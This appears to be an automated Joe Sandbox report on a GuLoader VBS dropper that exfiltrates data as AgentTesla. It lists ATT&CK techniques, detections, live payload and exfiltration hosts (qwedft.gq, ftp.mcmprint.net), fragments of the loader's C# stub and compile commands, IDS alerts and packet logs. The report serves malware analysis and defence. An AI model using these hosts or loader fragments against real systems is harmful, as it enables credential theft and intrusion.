Valid Accounts	211 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Exfiltration Over Alternative Protocol	2 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	321 Scripting	Boot or Logon Initialization Scripts	1 Access Token Manipulation	1 Deobfuscate/Decode Files or Information	1 Credentials in Registry	115 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	Exfiltration Over Bluetooth	11 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	21 Command and Scripting Interpreter	Logon Script (Windows)	12 Process Injection	321 Scripting	Security Account Manager	321 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	Automated Exfiltration	1 Non-Standard Port	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	1 PowerShell	Logon Script (Mac)	Logon Script (Mac)	2 Obfuscated Files or Information	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	2 Non-Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	241 Virtualization/Sandbox Evasion	SSH	Keylogging	Data Transfer Size Limits	23 Application Layer Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 Masquerading	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	241 Virtualization/Sandbox Evasion	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	1 Access Token Manipulation	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	12 Process Injection	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SIEM_PO00938467648.vbs	35%	ReversingLabs	Script-WScript.Trojan.GuLoader

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\0j5ctfzr\0j5ctfzr.dll	100%	Joe Sandbox ML

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
api.ipify.org.herokudns.com	0%	Virustotal		Browse
ftp.mcmprint.net	10%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
http://pesterbdd.com/images/Pester.png	100%	Avira URL Cloud	malware
https://api.ipify.orgftp://ftp.mcmprint.netklogz	0%	Avira URL Cloud	safe
http://127.0.0.1:HTTP/1.1	0%	Avira URL Cloud	safe
http://qwedft.gq/Akkant/VUUby127.xsn	0%	Avira URL Cloud	safe
http://kmbImL.com	0%	Avira URL Cloud	safe
https://contoso.com/License	0%	Avira URL Cloud	safe
https://contoso.com/	0%	Avira URL Cloud	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.ziphttps://www	0%	Avira URL Cloud	safe
http://DynDns.comDynDNSnamejidpasswordPsi/Psi	0%	Avira URL Cloud	safe
https://contoso.com/Icon	0%	Avira URL Cloud	safe
https://ZK1g7ahAv5q7aIVR.comXy	0%	Avira URL Cloud	safe
https://ZK1g7ahAv5q7aIVR.com	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.ipify.org.herokudns.com	52.20.78.240	true	false	0%, Virustotal, Browse	unknown
qwedft.gq	162.240.62.179	true	false		unknown
ftp.mcmprint.net	185.31.121.136	true	true	10%, Virustotal, Browse	unknown
api.ipify.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.ipify.org/	false		high
http://qwedft.gq/Akkant/VUUby127.xsn	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://kmbImL.com	CasPol.exe, 0000000C.00000002.91117300370.000000001D8D1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://127.0.0.1:HTTP/1.1	CasPol.exe, 0000000C.00000002.91117300370.000000001D8D1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://nuget.org/NuGet.exe	powershell.exe, 00000006.00000002.86766294466.000000000534C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.ipify.org	CasPol.exe, 0000000C.00000002.91117300370.000000001D8D1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000006.00000002.86731242740.000000000443C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://aka.ms/pscore6lB	powershell.exe, 00000006.00000002.86726548109.00000000042E1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000006.00000002.86731242740.000000000443C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.ipify.orgftp://ftp.mcmprint.netklogz	CasPol.exe, 0000000C.00000002.91117300370.000000001D8D1000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://contoso.com/	powershell.exe, 00000006.00000002.86766294466.000000000534C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000006.00000002.86766294466.000000000534C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000006.00000002.86766294466.000000000534C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.ziphttps://www	CasPol.exe, 0000000C.00000002.91117300370.000000001D8D1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://DynDns.comDynDNSnamejidpasswordPsi/Psi	CasPol.exe, 0000000C.00000002.91117300370.000000001D8D1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000006.00000002.86766294466.000000000534C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000006.00000002.86726548109.00000000042E1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ZK1g7ahAv5q7aIVR.comXy	CasPol.exe, 0000000C.00000002.91118394619.000000001D920000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ZK1g7ahAv5q7aIVR.com	CasPol.exe, 0000000C.00000002.91118394619.000000001D920000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 0000000C.00000003.86807185996.000000001C701000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000C.00000002.91121875644.000000001D9FD000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000006.00000002.86731242740.000000000443C000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
162.240.62.179	qwedft.gq	United States	46606	UNIFIEDLAYER-AS-1US	false
52.20.78.240	api.ipify.org.herokudns.com	United States	14618	AMAZON-AESUS	false
185.31.121.136	ftp.mcmprint.net	Bulgaria	199364	RAX-ASBG	true

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	756154
Start date and time:	2022-11-29 18:31:34 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 15m 6s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	SIEM_PO00938467648.vbs
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, IE 11, Chrome 93, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Run name:	Suspected Instruction Hammering
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winVBS@13/10@3/3
EGA Information:	Successful, ratio: 100%
HDC Information:	Failed
HCA Information:	Successful, ratio: 99% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .vbs Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, backgroundTaskHost.exe, WmiPrvSE.exe, svchost.exe
TCP Packets have been reduced to 100
Excluded IPs from analysis (whitelisted): 20.190.159.0, 20.190.159.73, 40.126.31.71, 20.190.159.71, 20.190.159.68, 20.190.159.75, 20.190.159.2, 40.126.31.73
Excluded domains from analysis (whitelisted): spclient.wg.spotify.com, wdcpalt.microsoft.com, client.wns.windows.com, prda.aadg.msidentity.com, login.live.com, ctldl.windowsupdate.com, wdcp.microsoft.com, login.msa.msidentity.com, www.tm.a.prd.aadg.trafficmanager.net, www.tm.lg.prod.aadmsa.trafficmanager.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	8003
Entropy (8bit):	4.841989710132343
Encrypted:	false
SSDEEP:	192:Qxoe5GVsm5emddVFn3eGOVpN6K3bkkjo5dgkjDt4iWN3yBGHD9smqdcU6C5pOWik:7hVoGIpN6KQkj22kjh4iUxgrib4J
MD5:	677C4E3A07935751EA3B092A5E23232F
SHA1:	0BB391E66C6AE586907E9A8F1EE6CA114ACE02CD
SHA-256:	D05D82E08469946C832D1493FA05D9E44926911DB96A89B76C2A32AC1CBC931F
SHA-512:	253BCC6033980157395016038E22D3A49B0FA40AEE18CC852065423BEF773BF000EAAEB0809D0B9C4E167883288B05BA168AF0A756D6B74852778EAAA30055C2
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PSMODULECACHE.....$...z..Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script........$...z..T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

C:\Users\user\AppData\Local\Temp\0j5ctfzr\0j5ctfzr.0.cs

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (1049), with no line terminators
Category:	dropped
Size (bytes):	1052
Entropy (8bit):	4.997907941877808
Encrypted:	false
SSDEEP:	24:JVSgTlR8ZhIZFbamwTJI1ro8kkcw+n1csrsIuY:JVlTlR8DIZFbLwTJI1rb/P+n1BrsIX
MD5:	5CB0DD0B77A3DA8C76FA25C6482E90D5
SHA1:	309AAF2851C84D34E8C8FC38B102721126D3E145
SHA-256:	4A5B247BE5F2AD1BF7CB3E184F7F687B5D59C7DE795FD1EAF69B7B0E2F4F716E
SHA-512:	F4842683F2B44C5FE29A03CAC23BCE6358F2FFF9A4CD1232319591CB3A48834C95DC07DA3159584DE2AED4F0EBE9A7A517ED4676D38DC63B35BA405D5FA7BD19
Malicious:	false
Preview:	.using System;using System.Runtime.InteropServices;public static class Tueiron1 {[DllImport("user32")]public static extern int DestroyCaret();[DllImport("gdi32")]public static extern int ScaleWindowExtEx(int Drift,int Ambula,int Baso,int iagtta,int Vejmat158,int Mcgr);[DllImport("kernel32")]public static extern int HeapSize(int Prop,int Adres,int Tortri);[DllImport("shell32.dll")]public static extern void DragFinish(int Omdr);[DllImport("winmm.dll")]public static extern int mixerGetDevCaps(int Nitr,int Fel,int Afs93);[DllImport("kernel32")]public static extern int LockResource(int Lei);[DllImport("kernel32")]public static extern int VirtualAlloc(int v1,int v2,int v3,int v4);[DllImport("ADVAPI32.DLL")]public static extern void MapGenericMask(int Brink,int Midts);[DllImport("kernel32")]public static extern IntPtr EnumSystemLocalesW(uint v1,int v2);[DllImport("kernel32")]public static extern int SetThreadAffinityMask(int Rebuil,int Semis);[DllImport("user32")]public static extern int Se

C:\Users\user\AppData\Local\Temp\0j5ctfzr\0j5ctfzr.cmdline

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (368), with no line terminators
Category:	dropped
Size (bytes):	371
Entropy (8bit):	5.263514527807254
Encrypted:	false
SSDEEP:	6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2CN23fAzxs7+AEszICN23fyAn:p37Lvkmb6KmYWZE7V
MD5:	5782379115A5C7704ACCE3E9383AF816
SHA1:	60D28D5DDD965175CB39C6BB0DF5AC1A224BCEC0
SHA-256:	7604F449D890B1488ACFB0DDACABA6E1E24A51097835E4B47A35B507657EBD7B
SHA-512:	A5AC3636A13572513032E3AF1253FE244AD76950FD508A04C101E0C92C2A946B4E012E28D6805DA3AE41CDF131A6B03CA89A0ECD188AD2E47756CAAAD9D9FDA4
Malicious:	true
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\0j5ctfzr\0j5ctfzr.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\0j5ctfzr\0j5ctfzr.0.cs"

C:\Users\user\AppData\Local\Temp\0j5ctfzr\0j5ctfzr.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	3.0750833499217003
Encrypted:	false
SSDEEP:	48:6VJk5TZxiz1MDgQzufTbFukMAx7551ul6a3eq:OIWz1MDgVfTSACsK
MD5:	CA1B80C27B39A8FF11303A0A90CB8ACC
SHA1:	3558A01472147CD4D7509DDEFA51F9E4F437172B
SHA-256:	FFE5482B92E9206F567B6F96DB1FDE3117BE892D717769DF78197A52198486F6
SHA-512:	1DE5FE8955B5DD27C311423AC59E184B8823353AAC34BF90A0F66EC0BEDFB39D82C210F589505D1A806FDF152DD69D0FDB5BE8EEAB36EA19A5A628C40B08ED73
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....P.c...........!................^&... ...@....... ....................................@..................................&..W....@.......................`....................................................... ............... ..H............text...d.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................@&......H.......P ..............................................................BSJB............v4.0.30319......l...t...#~......@...#Strings.... .......#US.(.......#GUID...8...\|...#Blob...........G.........%3............................................................0.).....f.....f.......................................... 7............ D............ U............ ^............ i............ y.$.......... ..).......... ..1.......... ..7.......... ..=.......... ..)...................

C:\Users\user\AppData\Local\Temp\0j5ctfzr\0j5ctfzr.out

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (445), with CRLF, CR line terminators
Category:	modified
Size (bytes):	866
Entropy (8bit):	5.33012640290001
Encrypted:	false
SSDEEP:	12:xKqR37Lvkmb6KmYWZE7wKaxK4BFNn5KBZvK2wo8dRSgarZucvW3ZDPOU:Aqd3ka6KmpE7wKax5DqBVKVrdFAMBJTH
MD5:	419D835EDD086DBCD1FB8CAFE131A363
SHA1:	F02C01889D4EB029501F2842FED63BEE75A32AAC
SHA-256:	C95EF9EFF8E1F8076E9C103BD88E939445D3E45956155401AF076E08F81C1D24
SHA-512:	D56124B2E20DF3848BBB3B15C3C30B3F6D7019312D5D6E07ADDA6A6741C66BEF5B96DB38727021864D1AF1EE243024BDFD8735BAA98EBDF3292A4CEA7195BFC7
Malicious:	false
Preview:	.C:\Windows\system32> "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\0j5ctfzr\0j5ctfzr.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\0j5ctfzr\0j5ctfzr.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\0j5ctfzr\CSC3A80B568F8BB4D66897E5CE811419E16.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.101934875256757
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryLAak7Ynqq2lPN5Dlq5J:+RI+ycuZhNpAakS2lPNnqX
MD5:	1A68EE12BE04A630C8BF56D4F7473ED0
SHA1:	ED9048C3B8B4013A63E612FF08CD59512E49A3FD
SHA-256:	B37612CBD66EF7BDD73717ADB5C978216B44420DED73796AD570D0FE6DD8D24D
SHA-512:	F03CD19608B470B8AF2154A212BC6A5E75AFB7C0C0975AE0E2A28A33BE0E721F60B0491FFDBC23568F9B5A2D9C2DC7E9E4A7850D9908C6AD437942AEAD83AFF5
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...0.j.5.c.t.f.z.r...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...0.j.5.c.t.f.z.r...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\RES7743.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x48e, 9 symbols, created Tue Nov 29 18:34:00 2022, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1332
Entropy (8bit):	4.001985755678852
Encrypted:	false
SSDEEP:	24:H9zW9Y89G/8qH9QwKPfwI+ycuZhNpAakS2lPNnqS2d:xiG/8qFKPo1ul6a3eqSG
MD5:	F4BF383029179F79AE0437C25B9B88AC
SHA1:	51A35E88821784CBC14768F2F96D9A4AFD88DDB0
SHA-256:	CD999401D357C7AB4F043A403294A91E994DA74376E032E0CD0A5F9DD8618A91
SHA-512:	8973B94881E0E57C1D2868DFE1965988072C9796077DDE07E685F59F534CA60CC3F72C60859F40177EDC879EB0C55016CD43BA779A972C639E75FFD19FCDA68A
Malicious:	false
Preview:	L....P.c.............debug$S........P...................@..B.rsrc$01........X.......4...........@..@.rsrc$02........P...>...............@..@........U....c:\Users\user\AppData\Local\Temp\0j5ctfzr\CSC3A80B568F8BB4D66897E5CE811419E16.TMP...................h.....0.V..G>...........5.......C:\Users\user\AppData\Local\Temp\RES7743.tmp.-.<....................a..Microsoft (R) CVTRES.Y.=..cwd.C:\Windows\system32.exe.C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe.................................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...0.j.5.c.t.f.z.r...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1ch5v15x.nhz.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_casrbuj4.tcb.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

\Device\ConDrv

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	30
Entropy (8bit):	3.964735178725505
Encrypted:	false
SSDEEP:	3:IBVFBWAGRHneyy:ITqAGRHner
MD5:	9F754B47B351EF0FC32527B541420595
SHA1:	006C66220B33E98C725B73495FE97B3291CE14D9
SHA-256:	0219D77348D2F0510025E188D4EA84A8E73F856DEB5E0878D673079D05840591
SHA-512:	C6996379BCB774CE27EEEC0F173CBACC70CA02F3A773DD879E3A42DA554535A94A9C13308D14E873C71A338105804AFFF32302558111EE880BA0C41747A08532
Malicious:	false
Preview:	NordVPN directory not found!..

Static File Info

General

File type:	ASCII text, with CRLF line terminators
Entropy (8bit):	5.836608054626225
TrID:
File name:	SIEM_PO00938467648.vbs
File size:	350795
MD5:	633811bccf3fe62978ce41a04b653083
SHA1:	bc81307b5c229094617e7cb8cdcaec55eaddad36
SHA256:	b5e4225737f935940fa23989440d5ea2c123c8affde25d6d7224e2b4abab5608
SHA512:	ade8c018c14b2c9de5df6c9c82130c309fd85084137d6e919c42b6fe7abb5ffde356f2d951f33ec3355df88f7134d51f66121afa3c7ca9f7bac047e0b73d0fa7
SSDEEP:	6144:J8YNxYPOwuvNR5vwfZKU2fU/5Mhc1gXcSGN+DieVwzjb6HZIKK:uijvPFWNEClgsSgpeVf6KK
TLSH:	AB74AE5DDA28DACD4F4E2F4ADC821A47C4654623D02614F9EEB5CB8E11C2ECDCE293D8
File Content Preview:	..'zephyrian stratagem Wigwamerne177 Alcoholisable53 PROMISINGLY ..'ACETAMID GRANULARITY Mandatet torteaus TANGFORLSENDES ALTOCUMULUS Jambarts ..'Gein187 garglers Goslet Afblsnings ENEHERREDMMERS UNDSEELIGHED TUSSENS Mrtelvrkets139 HOG besvrger stellularl

File Icon


Icon Hash:	e8d69ece869a9ec4

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.11.20185.31.121.13649858212029927 11/29/22-18:34:46.981738	TCP	2029927	ET TROJAN AgentTesla Exfil via FTP	49858	21	192.168.11.20	185.31.121.136
192.168.11.20185.31.121.13649859597722851779 11/29/22-18:34:47.016884	TCP	2851779	ETPRO TROJAN Agent Tesla Telegram Exfil	49859	59772	192.168.11.20	185.31.121.136

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 29, 2022 18:34:32.485622883 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:32.643971920 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:32.644260883 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:32.644968033 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:32.803817987 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:32.811785936 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:32.811892033 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:32.811969995 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:32.812026024 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:32.812066078 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:32.812089920 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:32.812160969 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:32.812189102 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:32.812239885 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:32.812350035 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:32.812367916 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:32.812485933 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:32.812511921 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:32.812616110 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:32.812714100 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:32.812730074 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:32.812760115 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:32.812860012 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:32.812885046 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:32.813046932 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:32.972552061 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:32.972625971 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:32.972683907 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:32.972731113 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:32.972739935 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:32.972795963 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:32.972850084 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:32.972904921 CET	80	49855	162.240.62.179	192.168.11.20
